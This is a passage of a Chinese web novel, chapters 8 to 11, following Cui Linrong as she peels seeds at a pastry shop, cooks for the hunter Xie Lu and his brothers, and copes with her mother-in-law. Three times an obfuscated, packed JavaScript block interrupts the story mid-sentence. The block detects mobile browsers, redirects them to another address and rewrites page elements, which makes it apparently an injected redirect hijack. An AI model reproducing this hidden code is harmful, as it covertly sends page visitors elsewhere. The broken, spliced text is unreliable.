她现在就去谢家? 现在还早着呢。 而且她其实也并不单纯为了谢家的事,她总觉得谢禄这人做事情过于夸张了。 虽然找到洗碗刷盘子的活计是假的,但崔林容觉得自己也可以试试去找找看。 万一呢。 但她不愿意真的去饭馆后厨,那学不到啥,也的确赚的少,崔林容选择直接去了绣坊。 绣坊是啥地方? 那不是村里妇人粗针粗布能干得了的,人家都是细锻布和绣花样。听说还分什么花鸟鱼虫,成精细了。 崔林容没那个胆量,只能在门口转悠,半晌都没敢进去。 越看越觉得自己篮子里那些针线活拿不出手。 最后咬咬牙还是走了。 几个饭馆她也去寻摸了一遍,好似也没个招人。 不知不觉小半个时辰都过去了,崔林容有点沮丧,原来自己真干不成啥……早上还挑三拣四不想去洗碗呢…… 谁料这么东转西转的,真叫她转到明月点心坊了。 早上那小娘子这会儿瞧见她了,笑着打了个招呼:“不是崔娘子嘛,又遇见了。” 崔林容不好意思点了点头,“高娘子。” 高明月打量她一眼,笑问:“你这是……” 崔林容这会儿也不知哪里来的勇气,道:“高娘子,你家既是做生意的,可缺个打下手的?我什么都能干!工钱也不必给多了!” 高明月有点惊讶:“你来镇子上原是为了这事?” 崔林容点了点头,脸颊微红,她太没用了,早上就该鼓起勇气问的,说不定今天遇到人家也是缘分呢! 高明月想了想,道:“那你和我进来吧。” 崔林容十分惊讶,赶忙跟着她进去了。 走到后院之后才瞧见,这一院子都是人。 大多是妇人。 有摘菜的,捡豆的,洗浆的,磨粉的…… “你也瞧见了,我是做吃食的,的确需要一些人帮忙,你若是愿意做我倒是能给你找个活计。这些就是薜荔果,你就帮我把这些果子剥了,只要它的籽,按照你剥的量来算,一斤籽给五文钱。” 崔林容都惊呆了:“就剥籽就给五文?!” “对。”高明月:“你别觉得这简单,一个时辰差不多也就一斤。” 崔林容脑子飞快,那两个时辰也有十文!她给王氏说两个时辰是六文啊!要是她能更快点,就能赚的更多! “我愿意干!” 高明月看她一眼,道:“行,那你跟着这个嫂子一道,不过,我还有个要求。那就是你在我这干活,看到啥听到啥,绝对不允许说出去,否则就别来了。” 崔林容:“高掌柜,这您绝对放心!” 高明月:“那你和我去前面按个手印,今天就开始吧。” 8. 第 8 章 崔林容顺利地进了明月点心坊,当天就被一个嫂子带着去剥籽了。 “你看好了,这些金黄色的籽就是掌柜要的,剥的时候一定要小心,开果子这样弄。” 对方给崔林容演示了一遍,崔林容一下就记住了。 那妇人让她自己试了试,见她虽然笨拙但还算小心,这才点了点头:“行,那你就开始吧。” 崔林容应了,搬了个小板凳准备开始。 她一面干活一面才发现这院子里面人真的很多,人来人往,但是大家干活都有条不紊的。 心中不禁也佩服起这位高掌柜,做事情更不敢耽误。 崔林容见过这种果子,但没人吃过,不晓得里面的籽还有大用处。 而这剥籽也没想象中那么轻松,剥了快半个时辰,才小小半盆,她脖子也有点酸了。 崔林容掐着时辰,不敢歇息太久,继续加快速度。 快到午时,她终于剥完了一盆,送到高明月面前,高明月很吃惊:“这么快?” 崔林容不好意思道:“我还有别的事情,今天先剥这么多吧。” 高明月点头:“行,我称称。” “刚好一斤,给,五文钱。你放心,我这的工钱都是当天结算。” 这正是崔林容喜欢的,“那我明儿还来!” 高明月:“行。” 崔林容满心欢喜地走了。 今天运气真不错,出门赚五文,这一会会功夫又赚五文,十文到手了,这个点赶去给狗蛋做顿饭,二十文就有了。 崔林容觉得这日子当真都有盼头了起来。 穿过窄巷,她还记得谢家的路,不过刚走到一处拐角,谢禄突然不知从哪里冒了出来,吓了她一跳! “你干啥啊!吓死人了!” 谢禄看着她笑:“还以为你今儿不来。” 崔林容:“我为啥不来,这么好赚的钱。” 谢禄:“你说服你婆婆了?” “嗯。” “那行,快去吧,肚子好饿。” 崔林容推门进去,下一瞬就有个人影冲了过来,吓了她一跳,不过谢禄一伸手,就把对方的衣脖子抓住了。 崔林容这才看清楚,又是个少年,比狗蛋高,和谢禄差不多了都…… 但是瘦一些。 估计这就是牛蛋了…… 谢牛蛋看着崔林容笑:“你就是容姐吧,狗蛋昨天和我说了!” 崔林容:“嗯……你是牛蛋?” “嗯嗯!” 谢禄:“牛蛋进城卖野猪,顺便买点鸭子回去养。” 崔林容这才发现院子里大概有几十只小鸭子,嘎嘎叫。 崔林容点头,并不咋关心谢家的事情,她只干好自己的活。 走到灶屋准备开始做饭,谁料一瞧,眼前又是阵阵发昏。 “这……野猪肉,你们打猎弄来的?” 谢禄:“准确来说,是我。” 崔林容:“……” “你可真有本事,难怪顿顿要吃肉。” 谢禄:“不吃肉饿的心慌,容娘,多做点,别省米。” 崔林容看了眼院子里两个壮汉和一个不是壮汉饭量也惊人的半大小子,噎了一下:“知道了。” 谢狗蛋和谢牛蛋一直在张望,谢禄出去赶人。 牛蛋拉住谢禄,道:“大哥,你早上去县衙问的那个男人,就是容姐男人吧?” 谢禄挑眉:“你小子好像变聪明了。” “嘿嘿,我这是了解大哥你嘛,官府说那事,容姐知道了不?” 谢禄眉眼稍沉:“你别多嘴。” 谢牛蛋:“我肯定不说!但要是真的,估计也就这半个月的事情了。” 谢禄想到那衙役说的话—— “基本都没了,就这十天半个月,消息就会传回来了,但也不一定,有些找不到的、没登记的就没消息。” “不确定,不知道,别多嘴就行。” 谢禄其实早上去衙门办另外一件事,顺嘴问了一句,说实话,知道这消息也并没让他心里轻松。 他是有点自己的小心思,但都是乡亲,真知道打仗死了这么多人他还能高兴,那他也太不是个东西了。 谢禄沉默下来,在院子里砍木头。 崔林容对他们的对话毫无所察,她正在和这一大锅野猪肉战斗。野猪肉她没做过,本想着和猪肉一样炖了,却发现这皮厚的,光是处理肉都忙活了半天…… 崔林容眼冒金星,又觉得那十文钱少了。 谢禄买了新鲜的豆角,正好能和猪肉一道焖着吃,一锅炖,崔林容放了稍微多一点的大料,香味不知不觉就飘了出去。 院子里三个男人这会儿已经在疯狂吞咽口水了,牛蛋和狗蛋更是频频张望…… 谢禄动作都缓慢了一些,直到崔林容喊:“开饭了!” 三道身影几乎是猛然蹿了过去! 崔林容走出来的时候还吓了一跳! 再看三人的样子,登时也哭笑不得了:“别挡道了,盛饭去吧。” 三人跳着进了灶屋,崔林容把一盆油汪汪的野猪肉端上桌,刚回头,就看见三人捧着大碗盆出来了。 “容姐,你也吃!”狗蛋很懂事,给崔林容也盛了一碗,崔林容犹豫了一下,谢禄道:“快点吧,饿的不成了。” 崔林容:“……行。” 她出门之前只吃了两个粗玉米面饼子,这会儿的确也饿了。 肉,野猪肉……太香了…… 崔林容从来没吃过这么好吃的肉,虽然野猪的味道大点,但她手艺的确还行,以前当姑娘家的时候还去帮忙做过席。 真不是她自卖自夸,因为旁边三人已经说明了一切。 昨个儿见识了狗蛋和谢禄的饭量,已经让她大开眼界,今天在看牛蛋的,那可真是…… 能吃下一头牛的架势。 “好吃好吃真好吃。” 一边吃还一边哼哼,谢禄白了他一眼。 崔林容想笑,他也没好到哪里去。 她看着谢禄,突然有些理解家里三个劳动力为啥谢家还挺穷,这么吃下去,那真不是一般人家能养得起的。 谢禄一个人还养两个弟弟,真不容易。 不像她,自身难保。 谢禄本来也正在胡吃海塞,但突然就察觉到了对面人柔柔的眼神,顿时斯文了起来。 是他吃相太难看了……? 谢禄轻咳了一声,崔林容收回了视线。不过…… “你手咋回事?” 谢禄眼尖,一下就看见崔林容手指上的红色,第一反应还以为她被烫了。 崔林容也低头看了一眼:“哦……没事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278629|198314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大概是剥籽弄得。” “剥籽?”谢禄不解。 崔林容嗯了一声:“我还找了个活计。” 她把明月点心坊的事情说了。 谢禄噎了一下:“你本事真大……” 崔林容:“不是你教我的吗,既然要来镇子上赚钱,总不能只在你这,一顿十文钱,回去还要给她分,我存不下多少。” 谢禄沉默片刻:“你不怕辛苦就行。” “这有啥辛苦的,行了,今儿时间差不多了,我准备走了。” 谢禄忽然道:“等会儿。” 崔林容不解,谢禄示意她去灶屋说话。 走到灶屋,谢禄突然掏出一锭碎银递给了她。 崔林容眼睛瞪得比铜铃还大。 谢禄笑了:“不至于吧,没见过银子吗?” 崔林容:“……” “见是见过,但没摸过。” 想当初自己嫁给周家,彩礼就二两银子,她碰都没碰到,就被她娘收走了。 她们在乡下,接触最多的就是铜板,一两银子一千个铜板,真是没咋见过银子。 谢禄:“今天野猪卖了个好价钱,这给你。我过两天要进山,你来镇子上就自己买菜做饭,看着花。” 崔林容懂了:“你为啥不给狗蛋,这么相信我?” “给他,明天就能给我花没了!我肯定信你。” 谢禄说着就把银子塞到她手上。 崔林容想了想,道:“你在屋里找个地存着吧,我明天来直接取,我也不敢带身上,我家里那个婆婆你晓得的。” 谢禄:“那也成,我藏个地儿。” 崔林容眼睁睁看着他把钱藏在哪里,是一点也不避着人,谢禄:“你到时候自己来找。” “你进山,不会又是要猎野猪吧?” 谢禄笑了:“哪有那么好的运气天天猎野猪,只是马上到秋天了,多抓点好东西换钱,还要囤过冬的粮食。” 崔林容:“这倒是,你家里也挺不容易的……” 谢禄笑了笑,刚要说话,眼前突然闪过什么东西,谢禄猛然将崔林容一拉—— 咚地一声,灶屋房梁上啥东西掉了下来,直直砸到崔林容面前,要不是谢禄把她拽开,肯定就直接砸到她头了…… 那是几块土砖石,这小院太破旧了,前两天下雨估计屋顶失修松动,崔林容看着有点后怕,这玩意要是砸到脑袋上…… 谢禄显然也没想到,自责道:“怪我,没注意头顶上。” “没事……” 崔林容刚开口,忽然神色一僵 ,话说到一半也停顿了。 她被谢禄拉开了是没错……但是为什么她现在整个人都被谢禄按在怀里。 男人的胸膛硬邦邦的,胳膊也和铁一样,将她箍得极紧。 乃至于胸/前被死死按住。 她几乎都要不能呼吸了…… 而谢禄此时也察觉到了不对,有些软绵绵的触感…… 夏天的衣裳都轻薄,两人几乎是同时低头。 顿时,谢禄耳根连着脖子全都红了个透…… 崔林容也没好哪里去,脸颊一片红云。 两人瞬间分开,但一个比一个尴尬,谢禄望向屋顶,崔林容低头看了看脚尖。 半晌后,她扯了扯衣裳下摆,匆匆忙忙就走了出去。 9. 第 9 章 崔林容回到王家的时候已经快申时了,她刚进去,就听见了王氏的声音。 “可算是回来了!” 崔林容有些倦色,喊了声人,接着就走到水缸前,迫不及待地喝了几口,实在是渴得不成了,在牛车上时就想喝水。 “钱拿到了?”王氏狐疑地看着人。 崔林容摸出钱袋子,里面空空如也只有四文。 “给,一人一半。” 王氏眯起眼:“你不会自己还藏了些吧?” 崔林容笑了:“找到就是娘的。” 王氏哼了一声:“这还差不多。快做饭,饿死了。” “中午你没吃吗?我留了饼子。” 王氏:“做顿像样的,我一会又要出去打牌,晚些回来。” 崔林容没说什么,直接转身进了灶屋。 王氏下午不在也好,她乐得清静。 吃过饭,王氏就出门去了,崔林容今个儿有点累,倒是也没着急做针线活,而是回房小眯了一会儿。 几乎是挨着枕头就着了。 不过梦里,她还在盘算怎么瞒着王氏藏钱呢。 今天的钱……被她偷偷藏到鞋垫的夹缝里了,崔林容弯起唇角,觉得自己绝顶聪明。 下午睡醒,崔林容马不停蹄开始绣针线活,王氏不在家,夕食也就随便将就了一顿。她有点担心王氏今晚又带人回来…… 不过还好,天刚刚擦黑的时候王氏就回来了。 没带人,带了条狗。 “汪!” 崔林容听到狗叫声之后走了出去,就见王氏牵了条小黄狗回来,看上去应该有好几个月了,不算大,但也不是奶狗。 “快来搭把手,可累死老娘了!” 王氏进门就把小狗的绳子递给了崔林容,崔林容接过之后小狗就跑到她脚边开始疯狂嗅。 崔林容:“娘,你真买了只狗回来啊?” “捡便宜了,这外头的狗要十文一只,我问了好几家了,今儿倒好,在村子口遇到个,三文钱就卖我了!” 崔林容:“这么便宜?该不会是有病的吧?” 王氏:“你娘我还能被骗?我让人给瞧过了,狗崽子活蹦乱跳的,一点毛病没有!” 崔林容仔细看了看,这狗崽的确看起来还挺活泼的,便没说啥子,转头去灶屋找了个有豁口的碗。 给小狗子舀了半碗野菜粥。 看见吃食,小黄狗疯狂朝着崔林容摇尾巴,崔林容刚把碗放在地上,它便一股脑扎进去,呼哧呼哧开始吃了起来。 王氏在院子里喝水:“凑合养吧,不用给多精细的饭食,放在家里看大门。” 崔林容走了出来:“得盖个狗窝吧?” 王氏撇嘴:“哪那么精细,愿意弄你弄。” 崔林容不说话了。 “行了我累了。”王氏起身,作势要回房睡觉,崔林容转头看了眼那小黄狗,吃饱之后小黄狗似乎认准她了,跑到脚边蹭。 崔林容想给狗起个名字,但村里大黄大黑大白都太多了,于是崔林容笑道:“以后就叫你来财,吉利。” “汪!” 来财应了一声,崔林容摸了摸它的头也笑了。 清晨的石头村在一片“喔喔喔”声里清醒。 崔林容起来之后收拾东西准备出门,王氏还没起,来财却已经在摇尾巴了。 崔林容偷偷给它舀了一盆粥:“吃快些,晚些被发现了可是没了。” 来财听懂了似的,哼哼叫,没几口就吧唧完了。 “我要出门了,好好看家啊。” 崔林容走到王氏门前,隔着木门道:“我走了啊娘。” 王氏随口应了一声,崔林容放心出了门。 这会儿还是很早,崔林容今儿留了个心眼,一路走一路都在找高掌柜要的那些果子。 这种顺路就能赚的钱,不赚白不赚。 只不过那个什么薜荔果,明月坊只收雄果,她学着去认,但是有时候也拿不准。 赶在第一辆牛车出发之前,好歹是找到了半框,宋发达看见她之后很惊讶:“容娘,你最近经常去镇子上啊。” 崔林容笑了笑:“嗯呢,买些东西,顺带也卖点野菜。” “真不容易哦。” 今天人比昨天稍多些,但崔林容不大爱说话,靠在栏杆上眯了一会儿就到镇子上了。 高明月见她送来了薜荔果,笑着道:“你还挺聪明,我看看啊,这些里面有一些是雌果,我是不收的,雄果一共三斤,给你十二文。” 崔林容露出笑意:“多谢掌柜的。” “今天也剥籽的吧?” “剥!” “那你去后面找昨天带你的嫂子。” 崔林容转身就去。 剥籽是个细致活,但好在崔林容一向细心,她一面剥籽还一面观察,发现大家干的活都不一样,还有在洗籽的。 估计和她一样,都是要用薜荔果做什么东西,这是人家掌柜的秘方,崔林容不会去打听,只干好自己的事情就行。 今天时间宽裕,她想多剥两斤。 天气逐渐热了起来,高明月对他们一向挺大方的,不多会儿,就有两个圆脸小丫鬟进来了:“掌柜说休息一刻钟,每人一碗木莲羹,解解渴。” 崔林容眼睛一亮。 “多谢掌柜的。” “掌柜的真好。” 她没想到自己也能尝到木莲羹了,这就是这个薜荔果做的,她赶紧走过去,这才发现这一碗碗的羹居然是透明色的,看起来很是清爽。 “这就是木莲羹?”崔林容问。 其中一个小丫鬟笑道:“是啊,又叫仙草冻,平时一碗两文钱呢,这边有糖水儿,你们自己浇了喝吧。” 居然还有糖水! 崔林容学着一旁一个大婶的样子淋了一勺,对方一口下去,忍不住喟叹:“啊就是这个味,解渴的不行!” 崔林容也迫不及待了,赶紧舀了一碗也来尝尝。 喝完之后她也睁大了眼,只觉得浑身的疲累都消散不见了,原来这就是木莲羹、仙草冻,冰冰凉凉又甜丝丝的,解渴消暑,实在是太好喝了。 难怪要卖两文钱…… 若是大夏天的晌午来这么一碗,她也愿意掏这个钱。 而且这还是免费的,崔林容仔细地喝完,十分珍惜。接着就回到小板凳上仔细剥籽,她要赚钱,赚钱才能买这样好的吃食。 不知不觉,崔林容今天剥了两斤,结账的时候高明月道:“你速度真快,应得的。” 崔林容仔细将钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278630|198314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收好,咧开嘴笑了。 去谢家的路上,崔林容自己先垫钱买了些瓜果蔬菜,记好账到时候再去谢家取钱就行。 崔林容到谢家之后敲了敲门,狗蛋就活蹦乱跳来开门了。 “容姐姐!” 崔林容:“狗蛋,就你一个人在家?” “对!我大哥二哥一道上山去了!” 崔林容点头:“那你等会儿,饭马上就好。” 狗蛋挺乖巧,转头就去院子里的沙坑练字,这是穷人家买不起纸笔最直接的练字方法。崔林容见了,想起了家里的三弟,三郎最是乖巧,不晓得最近过得咋样,要是下次有机会在镇子上遇见就好了。她想让三郎和二丫都尝尝那好吃的木莲羹。 但是估计崔家人不会让他们单独出来,崔林容摇了摇头。 今天那两个男人不在,饭菜就简单许多。崔林容煮了一锅汤,先前的肉还剩,刮两根莲藕进去就是一锅莲藕汤,她在手脚麻利地揉面摊饼,不多时,灶屋就飘出去饭香。 狗蛋疯狂吞咽口水。 好不容易等到一句“开饭了”,狗蛋立马跑了过去:“好香啊……” 崔林容哭笑不得,但想到先前这边的饭食,也能理解。 “好吃就多吃点。” “容姐你也吃。” 狗蛋乖巧搬来凳子,等她先动筷子,崔林容笑了笑:“乖,吃吧。” 吃饭时,崔林容和狗蛋有一句没一句地聊着,差不多把谢家的情况也摸清了。 问到他们父母的时候,狗蛋神情明显低落:“亲生爹娘……没见过,我和牛蛋都是在山里被老猎户捡来的,后来老爹走了,就大哥养我们。” 崔林容猛然一愣。 沉默了下去。 “对不住啊。” 狗蛋笑着摇头:“没啥子!我打小就不记得这些,只记得大哥和老爹!” 崔林容还是心疼,不过她口里的老爹应该是谢禄的爹吧,深山里住着一些猎户她是晓得的,但估计人也没了。 “这么看你大哥真厉害,把你们俩小子盘大了,还能供你读书。” 狗蛋用力点头:“大哥最厉害了!去年还猎回了一头狼!” 崔林容筷子差点都掉了! 难怪。 谢禄真挺有本事的,难怪敢花钱这么大手大脚。 吃过饭收拾好,崔林容洗洗手准备走了,可刚出来之后就看见狗蛋在认真背书。 崔林容脚步一顿。 她想起小时候在白云村,村里有个老夫子也教书来着,她没事就跑去听,听到啥记啥,再回去教二丫。 既然狗蛋在学……她连忙走了过去。 “狗蛋,你学的咋样了?” 狗蛋:“我基础差,还要学小半年学院才肯收。” 崔林容点了点头:“我有个弟弟也和你差不多大,但他没条件念书,这样,你把学到的东西教给我,也算复习了,咋样?我一会儿给你上街买糖葫芦吃。” 狗蛋眼神一亮:“好啊!大哥也让我教二哥!但是二哥太笨了,十以内的加减法都不会!” 崔林容:“你还会算数?” “会啊!我还有算盘呢,大哥做的!” 狗蛋掏出自己的“宝贝”,崔林容这下眼睛是真真亮了。 10. 第 10 章 谢禄做的算盘虽然比不得外面卖的那么精致,但珠子也是打磨的圆润细腻,狗蛋每次用之前还要擦上半天,宝贝的不得了。 崔林容对认字的执念还没那么强,但要是学会算盘,那就等于精通了算数,这对她的赚钱攒钱计划还是非常有好处的! 崔林容当即决定和狗蛋搞好关系,学算盘,买糖葫芦! 狗蛋也不吝啬,将自己会的全都努力教给她,只是想一口吃个大胖子肯定是不成的,只能是慢慢来,一天学一点。 崔林容也不急,反正她要过来做饭,于是转头就出去买了根糖葫芦,“狗蛋,谢谢你。” “谢谢姐!” 狗蛋开心极了,捧着糖葫芦就舔了起来。真好吃啊,好久没吃到过了。 崔林容摸了摸他的头,“成,那你在家把门栓好,我先回了。” 回去的路上,崔林容还琢磨着要继续去找薜荔果,最近她在镇子上来回几趟捯饬,手上已经有一百多文了。 她琢磨着是不是要去钱庄开个户,把这些钱都攒下来,但崔林容迟迟没去开的原因主要一是钱少,人家怕是不给开。第二个是她害怕留下痕迹,到时候被王氏察觉就麻烦了,还是自己个儿藏着比较保险。 牛车很快就到了石头村,这会儿刚过午时,地里人不多,都扛着锄头准备回家吃饭歇晌。 不过崔林容发现路上不少人似乎都背着她在窃窃私语。 平时因为王氏的缘故,也有这种情况,她一般都不怎么放在心上,但不知道为什么,今天好像格外多。 崔林容看向一个小媳妇,对方见她看过来之后赶紧扭开头,佯装无事发生。 崔林容皱了皱眉继续往前走,刚走到自家不远处,就遇到了丁大旺的媳妇,丁大山有两个儿子,丁大旺和丁二旺。因为自己婆娘没了,大旺媳妇当家做主。 看见崔林容,大旺媳妇板着脸走了过来,“周家的,我有两句话想和你说。” “嫂子说吧。”崔林容淡淡道。 “你家田地不愿意侍弄,村里多的是没地种的汉子,你婆婆偏生非要我公公去种,这是啥意思?我家地都种不完,前前后后都是大旺张罗,二旺年前去镇子上盖房子刚把腰伤了,我家也缺干活的男人!” 崔林容眉头一跳,明白是咋回事了。 没成想王氏真把地包给了丁大山,其实那天崔林容就是随口那么一说,她的目的是让王氏松口自己去镇子上找活计的事情,哪成想王氏还真不避嫌。 这两人的事情一直都有风言风语,但崔林容也不晓得真假,没撞上,更不想撞见! 崔林容当然不可能显露什么,只是道:“嫂子,你也知道我家的情况,我家地承包给人,咋个承包,你觉得是我能做主的吗?” 大旺媳妇噎了一下:“那你自己咋不去种?” “我一个妇道人家,实在干不来,粮食减产我真要喝西北风了,还不如找点活计,你看我这不是刚从镇子上回来。” 大旺媳妇:“不管咋说,这地不能给我家!” “这要不你回去问问大山叔,你家的情况我也晓得,自家地都种不完,何必要我家那点粮食。” 大旺媳妇心道,她要是能和自家公爹说通还来找她?她不敢和公爹叫板,最多和自家男人喊。 崔林容看出来了道:“说白了,嫂子也是有苦衷,你和我说也是没用,我看嫂子也嫁给大旺哥有几年了,不知道有没有好消息,要是自家添丁,这家里的活计就更做不完了。大山叔咋可能还出门去?” 这话点醒了大旺媳妇,其实她何尝不着急,她嫁到丁家都三年了,吃苦受累但是到现在都没揣上娃,老二的媳妇又刚过门她不好使唤的。 要是她现在真能有了…… 大旺媳妇不和崔林容多说了,转头就走。 崔林容摇了摇头,那两人的事情谁说都没用,她自己个儿也烦。 崔林容没想到的是,她走到自家院门口,还真遇到了丁大山。 也不知道咋想的,五十多的汉子了,还真就朝他们家跑,这会儿是干完地里的活计又去挑水了? 崔林容脸色一变。 看见崔林容,丁大山笑了:“容娘回来了?” 崔林容不大乐意和他搭话,而丁大山在自家这事更是让她觉得膈应,于是随意点了点头就转身进了灶屋,恰好和王氏打了个照面。 王氏瞪了她一眼:“也不知道喊人,真是不像话!” 崔林容懒得理她。 来财见崔林容回来了,立马冲上前欢快地摇尾巴,但是对丁大山就一直龇牙咧嘴的。 王氏又骂一句:“不长眼的狗东西!” 崔林容:“你骂它干啥了,只认这个屋里的人不好么?别到时候真来了贼都不叫!” 王氏不说话了,转头给丁大山端水去了,两人在院子里眉来眼去的,崔林容开始烧水做饭,好在两人也没太过分,没多会丁大山就走了。 崔林容:“刚才回来的路上遇到大旺媳妇了,阴阳怪气了一通,娘到底看上丁家啥了,他两个儿子,就算是要钱也是没有的。” 崔林容这也算是把话给王氏挑明了,王氏哼了一声,她心里当然是有自己打算的。 丁大山……虽然现在是没给啥太多的好处,但是好在模样在中年汉子里面也还成……她又不是真成了给钱就行的人,当然,王氏什么都没说,只转头便道:“晚上不回来了!” 崔林容心中叹气,也懒得管了。 她做饭的时候,来财就一直在脚边哼哼,崔林容摸了摸它的头,“别着急,下午的时候给你做狗窝。” 王氏肯定是不会管它了,只有自己做。 鸡窝旁边还有一小片地,就在那开整吧。 下午崔林容就去找了些竹子回来,她选了四根最粗直、节密的老竹,先比了比大小长短,再用石头把竹根稳稳砸进土里,立起四方的架子。 又砍了些细竹条,横着竖着来回穿插,一根根卡在粗竹的缝隙里,用藤条紧紧捆牢,横竖都扎得扎实。 四面围好,顶上再铺一层密匝匝的细竹枝,压上几片干草挡风,一个方方正正、矮矮墩墩的竹狗窝就搭成了。 里头垫上晒干的软草,蓬松又暖和,风刮不进、雨漏不进来,蹲在鸡窝边上,正好能守着家禽。 做这个狗窝就足足忙活了一个下午,属实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278631|198314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是把崔林容给累坏了,做完之后天都黑了,她渴得不行了,灌了好几口凉水,又寻了块饼子垫了垫。 把锅里还剩的所有野菜粥全给了来财,一人一狗吃的欢快极了。 “瞅你饿的,可惜了,这个家是没肉给你吃的。” 来财抬头叫了一声,崔林容擦了擦嘴:“歇着去吧,我也准备睡了。” 王氏不回来也有不回来的好处,但她也不晓得,王氏这事到底哪天会被捅破,又会有多大的后果。 崔林容睡到半夜,忽然感觉到了一阵熟悉的痛感,她愣了一下,这才想起来自己月事就在这几天。 她睡觉之前喝了凉水,这会儿可算是遭了罪…… 她赶忙起来翻箱倒柜去寻月事带,接着再转头去茅屋。 可刚从茅房出来,崔林容突然又听到一阵窸窸窣窣的声音,就从院墙那边传来的…… 她浑身一僵,转头看去。 院子里来财的身影不见了! 狗窝里面空空荡荡。 崔林容登时一声冷汗,第一反应不是来贼了,而是山上的野兽。 来了贼来财定是要叫的,但是压根没啥动静,怕不是狼或者熊?再不济是黄鼠狼?可黄鼠狼能咬死来财吗? 一时间崔林容脑海中冒出很多想法,直到墙头上传来一个熟悉的声音和一道熟悉的身影。 “容娘……?是我。” 崔林容:“……” - 谢禄从院墙上跳了下来。 来财哪里是不叫,分明是早就察觉到,在院墙根这疯狂对着这个“贼”摇尾巴。 “你干啥?” 崔林容表情复杂极了,对自家这个“吃里扒外”的小东西有点无语。 谢禄晓得她在想啥,笑着道:“来之前打听了,你婆婆不在家。” “那你就天天晚上翻院墙?你把我当啥?” 谢禄:“……对不住对不住,我习惯了,我下次敲门。” “……你到底要干啥。” 谢禄:“借些家伙,你家的板车,还有绳子有没有,再有干稻草,越多越好。我和牛蛋搞了一头大家伙,不能在镇子上脱手,要去县城,打个掩护。” 崔林容:“你猎到啥了……不会是狼吧……” 谢禄笑了:“不是,但也差不多。” 差不多? 那只有熊瞎子或者大虫。 崔林容忽然一点都不想知道了。 “板车没有,稻草就在柴房,木绳子也在那,你自己去拿。” 谢禄笑嘻嘻道:“成。” 这会儿已经是子时了,崔林容还是觉得很难接受:“为啥你总这样,为啥我家来财不叫?” 不应该啊,她好歹给狗喂了几顿,下午的时候还看见它对丁大山龇牙。 “来财?这名字不错。” 谢禄忽然伸手撸了好几把狗子,接着掏出半只鸡扔了过去,来财“嗷”了一声,欢快地冲过去咬住。 “这狗是好狗,你别误会它,至于为啥不叫,那当然是因为这是我的狗,我三文钱卖给你那个爱贪便宜的婆婆了啊。” 崔林容:“……” 11. 第 11 章 亏得崔林容今个儿还念叨没钱给来财买肉吃,这会儿见这狗子撕巴肉的熟悉劲儿…… “来财来我家真是亏了。”崔林容幽幽道。 谢禄笑了两声:“不至于,它才两个月,和三四个月狗子差不多大,小时候没亏待它。” 崔林容不想继续这个话题了:“取了东西就走吧,小心点,别让人瞧见。” 谢禄:“……我发现你还挺不待见我。” “你半夜翻院墙,还要我待见你?”崔林容低声道。 谢禄:“那我白天来你就待见我了?” “……” 谢禄哼了一声:“没良心的,走了!” 崔林容:“你说啥……?” 谢禄:“没啥!” 男人说完就转过身去:“你家柴房在哪?” 崔林容:“都晓得从哪翻墙了不晓得柴房在哪?谁信?” 谢禄:“……” 他噎了一瞬,看向崔林容:“你真精。但有时候又揣着聪明装糊涂。” “听不懂你说啥。”崔林容转身就走。 谢禄追了几步上前,压低声,语气带着几分妥协讨好:“容娘,进山几天没吃东西了……煮碗面吃吧?饿的不成了。” 崔林容抿了抿唇,显然有点犹豫。 谢禄继续道:“你婆婆在另一家打牌,照那个架势今晚都不得回。” 崔林容:“……你咋对啥都这么清楚。” “只看我想不想知道罢了。” 崔林容看着人,犹豫了片刻: “我去给你煮,你吃完就快些走……以后半夜别来了……” 谢禄深深望着人:“成。” 崔林容转头就进了灶屋,简单煮了碗面,出来的时候谢禄还蹲在屋檐下头逗来财,一人一狗,不亦乐乎。 崔林容:“牛蛋呢?” 谢禄:“回去睡觉去了,得看着大家伙的,我自己一个人来的。” 崔林容越想越不对劲,谢禄都把大家伙运回去了,牛蛋也回家了,那他还来干啥? 专程借这么几样东西? 崔林容突然把筷子重重放下,瞪着谢禄,显然一副觉得被戏耍了的模样。 谢禄愣了一下:“咋了?” 崔林容:“耍人很好玩?!” 谢禄回过神来,嘿嘿一笑:“真没有……从前大家伙都是自己扛,哪里想过做个板车。” 崔林容又重重把碗放下,视线突然瞥到下午自己个儿做的狗窝上,这才发现谢禄好像帮她把四个角都加固了一下。 她力气小,绑的并不算太牢固…… 下午的时候还担心来着…… 谢禄笑着走近:“真没哄你。” 崔林容语气到底软了下来:“快些吃吧……” 谢禄见她态度软和,又笑了笑,这才大口大口吃了起来。 男人可见是饿狠了,胃口好得不得了,崔林容转个身的功夫,一碗面基本就□□完了。 崔林容:“……还要?” 